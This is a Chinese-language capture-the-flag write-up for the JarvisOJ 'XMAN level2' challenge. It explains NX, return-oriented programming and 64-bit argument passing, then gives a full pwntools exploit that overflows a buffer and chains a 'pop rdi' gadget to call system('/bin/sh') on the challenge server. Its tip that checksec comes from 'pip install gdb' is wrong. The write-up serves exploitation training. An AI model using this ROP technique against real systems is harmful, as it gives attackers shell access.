JarvisOj [XMAN]level-2

2018-12-05  本文已影响0人  chenmuxin

思路WP

提示:网上有不少当作32位写的WP,都出现了问题,无法成功cat flag,只有运用ROP的才能成功。

该题会用到gdb中的checksec,可以通过pip install gdb下载。checksec的主要作用是检查elf文件的保护机制。

NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。绕过的最主流的方法就死ROP(return-orient-program).

ROP的全称为Return-oriented programming(返回导向编程)

level2寻找binsh.png level2 寻找rdi.png

为什么我们需要rdi呢?
首先我们必须先知道32位溢出与64位溢出的区别
在32位程序运行中,函数参数直接压入栈中
    调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
    64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中

代码

#!usr/bin/env python 
# -*- coding: utf-8 -*-
from pwn import  *
io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = 0x600A90    #利用ROPgadget获得
rdi_ret = 0x4006B3

payload = ''
payload += 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(bin_addr)
payload += p64(sys_addr)

io.recvline()
io.sendline(payload)
io.interactive()
io.close()

解释

ELF是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件,即我们下载
得到的文件(在这里我重命名了)
elf.symbols[]可以得到框号中字符作为函数名在本程序中的地址。
sendline()是传输一行。

结果

level2.png
上一篇 下一篇

猜你喜欢

热点阅读